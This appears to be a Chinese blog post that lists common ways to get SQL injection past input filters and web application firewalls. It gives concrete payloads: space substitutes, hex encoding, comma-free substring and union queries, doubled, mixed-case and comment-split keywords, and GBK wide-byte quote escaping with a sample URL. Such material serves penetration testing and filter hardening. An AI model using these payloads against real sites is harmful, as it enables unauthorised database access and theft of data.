sql注入常见绕过方法

一.绕过空格

1.使用tab缩进尝试绕过

2.尝试使用%a0来代替空格

3.使用()括号来绕过:

4.使用注释符号/**/绕过

二.过滤双引号绕过

使用十六进制代替

 将zhangsan变为16进制后正常输出

三.绕过逗号 

1.使用from

布尔型盲注的时候用来猜数据库名称时的测试语句通常为

1 and substr(database(),1,1)='e'--+

使用from for变为:

1 and substr (substr(database() from 1  for 1))='e'--+

2.使用join

union 联合注入查询通常使用的语句为

union select 1,2 --+

使用join变为

union select *  from (select 1)a join (select 2)b --+

3.offset 

limit 语句通常为从第几条开始取多少条数据,后面跟上offset,limit表示要取的数据量,offset表示要跳过的数据量

四.过滤or 、and、xor、not绕过

and = &&

or = ||

xor = |#(异或)

not = !

<>  =  !=  (不等于)

五.绕过等号

使用like,%表示通配符

六.绕过union,selcet,where,from等

1.双写绕过

如果防火墙只对敏感函数做了一次过滤,可以尝试使用双写绕过

union select * from test ;

变为:

ununionion sselectelect  * ffromrom test;

2.大小写绕过

如果防火墙只匹配全部小写或者大写的敏感函数,可以尝试使用大小写绕过

union select * from test ;

变为

UniON SelecT * From test;

3.注释符绕过

若防火墙只匹配完整的敏感函数可以使用注释符号将其分隔开来尝试绕过

union select * from test ;

变为:

u/**/nion sele/**/ct * fro/**/m test;

七.单引号过滤绕过

单引号被过滤可能是因为被转译了,这个时候我们可以尝试使用宽字节注入来尝试绕过

宽字节注入:web网站和数据库的编码格式不一样,导致信息传输的过程中单引号逃逸。gbk编码为两个字符,askii码为1个字节,使用%df‘,带入数据库的时候就会把单引号转义,变成%df\',正好反斜线的askii编码%5c和%df组成了一个新的汉字字符,导致单引号逃逸

示列:php?id=-1%df ' union select 1,2 --+

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值